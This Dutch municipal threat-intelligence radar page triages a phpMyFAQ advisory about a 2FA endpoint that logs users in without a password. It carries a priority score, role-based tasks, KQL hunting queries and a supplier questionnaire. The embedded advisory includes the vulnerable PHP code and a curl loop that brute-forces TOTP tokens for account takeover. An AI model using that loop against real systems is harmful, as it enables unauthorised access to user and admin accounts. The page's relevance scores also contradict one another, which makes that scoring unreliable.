phpMyFAQ's two-factor authentication login bypasses the password factor
Exploiteerbaarheid: geen exploit bekend. Blootstelling: niet internet-facing / geen bekende blootstelling. Gemeentelijke relevantie: geen match met de gemeentelijke context. Impact: alleen technische impact. Bronvertrouwen: middel.
Scorecomponenten
geen exploit bekend
niet internet-facing / geen bekende blootstelling
geen match met de gemeentelijke context
alleen technische impact
beperkt bevestigd
geen mitigatie bekend
Geen automatische bestuurlijke escalatie — operationeel op te volgen.
Prioriteit: verhoogd
Aanbevolen reactietijd: deze week beoordelen
Verhoogd (63/100) — deze week beoordelen. Bepalend: gemeentelijke relevantie (100/100) en technische ernst (95/100). Beoordeel dit deze week en bepaal of gerichte actie nodig is. Deze prioritering is regelgebaseerd en navolgbaar; weeg de aannames en onzekerheden mee voor de eigen gemeentelijke omgeving.
zeer hoog — De technische ernst is hoog: succesvol misbruik kan systemen of gegevens direct compromitteren.
laag — Er zijn geen concrete aanwijzingen voor misbruik.
zeer hoog — Dit raakt technologie of processen die bij vrijwel elke Nederlandse gemeente in gebruik zijn.
verhoogd — Plan beoordeling en opvolging in; directe actie is nu niet vereist.
Positieve factoren
De categorie 'identity_attack' verhoogt de technische ernst.
Bron: Categorisering door de verrijkingspijplijn
De dreiging raakt identity-, Microsoft 365- of Entra-technologie die vrijwel elke gemeente gebruikt.
Bron: Technologieherkenning in titel, samenvatting en labels
De dreiging raakt een leverancier of de toeleveringsketen; gemeenten zijn sterk afhankelijk van externe leveranciers.
Bron: Technologieherkenning in titel, samenvatting en labels
Negatieve factoren
De zekerheid is 'likely'; een onbevestigd signaal verlaagt de urgentie tot het is geverifieerd.
Bron: Zekerheidsinschatting van de radar
Aannames
Onzekerheden
Deze prioritering is regelgebaseerd en navolgbaar. Een CISO kan deze onderbouwing gebruiken richting directie of ICT-management; stem de opvolging af op de eigen gemeentelijke omgeving.
8 concrete acties verdeeld over 6 rol(len). Aanbevolen reactietijd: deze week beoordelen.
Taken voor CISO
Laat vaststellen of de getroffen component of het proces binnen de gemeente in gebruik is.
Bewijs vereist: Bevestiging in/uit gebruik door ICT-beheer.
Wijs per actie een eigenaar en deadline toe en bewaak dat de acties worden afgerond.
CISO
Laat vaststellen of de getroffen component of het proces binnen de gemeente in gebruik is.
Bewijs vereist: Bevestiging in/uit gebruik door ICT-beheer.
Wijs per actie een eigenaar en deadline toe en bewaak dat de acties worden afgerond.
ISO / patchmanagement
Controleer of een patch of mitigatie beschikbaar is en bepaal de deadline voor opvolging.
Bewijs vereist: Patch- of mitigatieoverzicht met versienummers.
SOC
Let op verdachte aanmeldingen, tokenmisbruik en wijzigingen in rechten.
ICT-beheer
Breng in kaart welke systemen, applicaties of accounts de kwetsbare component bevatten.
Bewijs vereist: Lijst van geraakte systemen uit de CMDB of inventaris.
Controleer MFA, conditional access en rechten op de getroffen identity- of Microsoft 365-omgeving.
Bewijs vereist: Vastgelegde configuratiecontrole.
Functioneel beheer
Controleer of de geraakte applicatie of koppeling extra aandacht nodig heeft.
Proceseigenaar
Beoordeel wat de dreiging betekent voor de continuiteit van het geraakte proces.
De acties zijn regelgebaseerd gegenereerd. Stem ze af op de eigen gemeentelijke omgeving en wijs per actie een eigenaar en deadline toe.
Relevante logbronnen
MITRE ATT&CK — tactieken
MITRE ATT&CK — technieken
Huntingvragen
KQL-huntingqueries (Microsoft Sentinel)
Verdachte Entra ID-aanmeldingen
Toont aanmeldingen met een verhoogd risico of een at-risk-status in Microsoft Entra ID.
// Verdachte Entra ID-aanmeldingen (verhoogd risico)
SigninLogs
| where TimeGenerated > ago(7d)
| where RiskLevelDuringSignIn in ("high", "medium")
or RiskState == "atRisk"
| project TimeGenerated, UserPrincipalName, IPAddress, Location,
AppDisplayName, RiskLevelDuringSignIn, ResultType
| order by TimeGenerated descFalse positives: Reizende medewerkers en VPN-uitgangspunten leveren legitiem verhoogd risico op.
Aanmeldingen vanuit onbekende landen
Toont geslaagde aanmeldingen vanuit landen buiten het verwachte werkgebied.
// Aanmeldingen vanuit onverwachte landen
let bekendeLanden = dynamic(["NL", "BE", "DE"]);
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType == 0
| where isnotempty(Location) and Location !in (bekendeLanden)
| summarize Aanmeldingen = count() by UserPrincipalName, Location
| order by Aanmeldingen descFalse positives: Vakanties, grensregio's en cloud-egress kunnen onverwachte landen tonen.
Impossible travel-risicodetecties
Toont aanmeldingen die Entra ID Protection markeert als 'impossible travel' of onbekende kenmerken - mogelijk overgenomen sessies.
// Impossible travel-risicodetecties (Entra ID Protection)
AADUserRiskEvents
| where TimeGenerated > ago(7d)
| where RiskEventType in ("impossibleTravel", "unfamiliarFeatures",
"anonymizedIPAddress")
| project TimeGenerated, UserPrincipalName, RiskEventType, RiskLevel,
IpAddress, Location
| order by TimeGenerated descFalse positives: VPN's, mobiele netwerken en cloud-egress kunnen een legitieme aanmelding als onmogelijke reis laten ogen.
Pieken in mislukte aanmeldingen
Toont bronnen met veel mislukte aanmeldingen - mogelijk password spraying of brute force.
// Pieken in mislukte aanmeldingen (mogelijk password spraying)
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType != 0
| summarize Mislukt = count(), Accounts = dcount(UserPrincipalName)
by IPAddress, bin(TimeGenerated, 1h)
| where Mislukt > 20 or Accounts > 5
| order by Mislukt descFalse positives: Verlopen wachtwoorden en verkeerd geconfigureerde clients leveren legitieme pieken op.
Nieuwe admin consent grants
Toont nieuw verleende beheerderstoestemmingen aan applicaties (mogelijk illicit consent).
// Nieuwe admin consent grants voor applicaties
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName has "Consent to application"
| extend Applicatie = tostring(TargetResources[0].displayName)
| project TimeGenerated, InitiatedBy, Applicatie, OperationName, Result
| order by TimeGenerated descFalse positives: Legitieme nieuwe SaaS-integraties veroorzaken eveneens consent grants.
Nieuwe privileged role assignments
Toont nieuwe toewijzingen aan bevoorrechte directory-rollen.
// Nieuwe toewijzingen aan bevoorrechte rollen
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName in ("Add member to role",
"Add eligible member to role")
| extend Rol = tostring(TargetResources[0].displayName)
| project TimeGenerated, InitiatedBy, Rol, OperationName, Result
| order by TimeGenerated descFalse positives: Geplande beheerwijzigingen en onboarding leveren legitieme toewijzingen op.
Indicators of compromise
Geen IOC's herkend in de openbare dreigingstekst. IOC's kunnen later via een threat-intelfeed worden aangevuld.
False-positive-aandachtspunten
Reizende of thuiswerkende medewerkers, VPN-uitgangspunten en geplande beheeracties veroorzaken legitiem afwijkende aanmeldingen. Verifieer met de betrokkene of de changekalender voordat u escaleert.
Deze informatie is uitsluitend defensief: detectie en hunting. De KQL-queries zijn read-only en bedoeld voor Microsoft Sentinel.
Vragenlijst
E-mailonderwerp
Uitvraag kwetsbaarheid CVE-2026-56737 — reactie gevraagd
E-mailtekst
Geachte heer/mevrouw, Naar aanleiding van een beveiligingsmelding met kenmerk CVE-2026-56737 doet onze gemeente een uitvraag bij u als leverancier. Deze uitvraag dient ter verificatie en feitenvaststelling: wij willen vaststellen of en in welke mate de aan onze gemeente geleverde dienstverlening wordt geraakt. Het betreft mogelijk het product of onderdeel "thorsten/phpmyfaq". Wij verzoeken u de onderstaande vragen volledig en onderbouwd te beantwoorden en uw reactie binnen tien (10) werkdagen na ontvangst van dit bericht schriftelijk aan te leveren bij de informatiebeveiligingsfunctie van onze gemeente. Zijn bepaalde gegevens nog niet beschikbaar, dan ontvangen wij graag een tussentijdse terugkoppeling. Vragen: 1. Gebruikt u de kwetsbare component of het geraakte product? 2. Welke versies zijn bij u in gebruik? 3. Is de kwetsbaarheid van toepassing op de dienstverlening aan onze gemeente? 4. Is de kwetsbaarheid inmiddels gepatcht? 5. Zo ja, op welke datum is de patch doorgevoerd? 6. Zo nee, welke mitigerende maatregelen zijn genomen? 7. Is er actief misbruik van de kwetsbaarheid geconstateerd? 8. Is er logging of forensisch onderzoek uitgevoerd? 9. Is er sprake van een risico op een datalek? 10. Wanneer verwacht u een definitieve oplossing door te voeren? 11. Welke restrisico's blijven na de oplossing bestaan? 12. Welke communicatie mogen wij richting onze interne stakeholders gebruiken? Deze uitvraag is bedoeld om de feiten vast te stellen en gezamenlijk tot een passende opvolging te komen. Wij stellen uw tijdige medewerking op prijs. Met vriendelijke groet, [Naam] Namens de informatiebeveiligingsfunctie Gemeente [Gemeente]
Vul vóór verzending de afzender en gemeentenaam in. De tekst is zakelijk en gericht op feitenvaststelling; pas hem aan op de eigen situatie.
Deze dreiging raakt de onderstaande governance-thema's. Met de aanbevolen bewijsstukken kunt u aantonen dat het signaal is opgevolgd — bruikbaar voor BIO2, NIS2/CBW, ISMS en de ENSIA-verantwoording.
Identiteitsaanvallen richten zich op accounts en rechten; sterke toegangsbeveiliging is bepalend.
Aanbevolen bewijs: Controle van MFA, conditional access en bevoorrechte rechten.
Detectie van verdachte aanmeldingen vraagt om logging en monitoring.
Aanbevolen bewijs: Detectieregels en logonderzoek op afwijkende aanmeldingen.
Identiteitsbeveiliging hoort bij de basismaatregelen.
Aanbevolen bewijs: Configuratie van de identity-omgeving.
De dreiging en de opvolging ervan horen thuis in de periodieke rapportage aan het management en de directie.
Aanbevolen bewijs: Vermelding in de CISO- of directierapportage informatiebeveiliging.
De radar legt de beoordeling, prioritering en opvolging navolgbaar vast.
Aanbevolen bewijs: Scoringonderbouwing, actiekaart en statusgeschiedenis uit de radar.
Aantoonbare opvolging draagt bij aan de jaarlijkse ENSIA-verantwoording over de BIO.
Aanbevolen bewijs: Overzicht van opgevolgde dreigingen voor de ENSIA-zelfevaluatie.
### Summary The public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid 6-digit TOTP token and a chosen `user-id`. It does **not** require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators. ### Details `src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`: ```php #[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); } $token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS); $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT); if ($userId <= 0) { /* ... */ } $this->currentUserService->getUserById($userId); // loads attacker-chosen user if (strlen((string) $token) === 6) { $result = $this->twoFactor->validateToken($token, $userId); if ($result) { $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked return new RedirectResponse(url: './'); } } // ... } ``` `twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`): ```php public function twoFactorSuccess(): bool { $this->setLoggedIn(true); $this->updateSessionId(true); $this->saveToSession(); $this->setSuccess(true); return true; } ``` There is **no server-side state** (such as a "password already verified for this user" flag) tying the `/check` step to the password step. Compare the admin flow, which does it correctly via a `2fa_pending_user_id` session value set only **after** the password is validated (`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) — proving the frontend omission is a regression, not an intended design. `validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret, so this is *not* a universal bypass of all accounts — it specifically defeats the **password factor of every 2FA-enabled account**: ```php public function validateToken(string $token, int $userId): bool { if (strlen($token) !== 6 || $userId <= 0) { return false; } $this->currentUser->getUserById($userId); $secret = $this->currentUser->getUserData('secret'); if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only } ``` Because `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to *strengthen* the password, becomes the *only* barrier and is independently guessable. ### PoC Pre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric `user-id` (1 = first/admin account in default installs). ```bash # No password required. Submit user-id + a 6-digit TOTP guess to /check. # Iterate the token space; the session cookie returned on success is an authenticated session. for code in $(seq -w 0 999999); do curl -ks -c jar.txt -b jar.txt \ -X POST "https://target/check" \ --data-urlencode "user-id=1" \ --data-urlencode "token=$(printf '%06d' 10#$code)" \ -o /dev/null -w "%{http_code} %{redirect_url}\n" \ | grep -q './' && echo "[+] logged in with token $code" && break done # A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used). ``` If the attacker already controls or has phished the victim's TOTP device, a single request authenticates
Categorie 'identity_attack' op basis van trefwoord 'account takeover'. Severity 'critical' bepaald op basis van: bronlabel 'high', trefwoord 'unauthenticated'. Confidence 'likely': gerenommeerd securityonderzoek (GitHub Security Advisories). Geen bekende leveranciers of producten herkend.
Deze dreiging scoort 75/100 voor de gemeentelijke relevantie. Meegewogen: een hoge ernstinschaling, veelgebruikte gemeentelijke technologie, impact op identity of Microsoft 365 en een leveranciers- of ketenrisico. Geraakte processen: Netwerk en infrastructuur, Leveranciersketen, Microsoft 365 en identity.
Bestuurlijke duiding
Deze dreiging vraagt om bestuurlijke aandacht. Misbruik van identiteiten geeft aanvallers toegang tot gemeentelijke systemen en gegevens. Een succesvolle aanval kan de gemeentelijke dienstverlening direct raken en leiden tot uitval, imagoschade of een datalek met meldplicht. Borg dat de portefeuillehouder en de directie geïnformeerd zijn en dat de opvolging belegd en bewaakt wordt.
Geraakte processen
Geraakte technologie
Betrokken rollen
CISO · ISO · SOC · ICT beheer · Leveranciersmanager
Concrete stappen voor ICT-beheer en het securityteam.
Dit zijn algemene handelingsperspectieven. Stem de opvolging af op de eigen omgeving en het ISMS van uw gemeente.
Deel geen vertrouwelijke of persoonsgegevens in dit formulier. Beschrijf je melding algemeen; gevoelige details horen niet op een publieke radar thuis.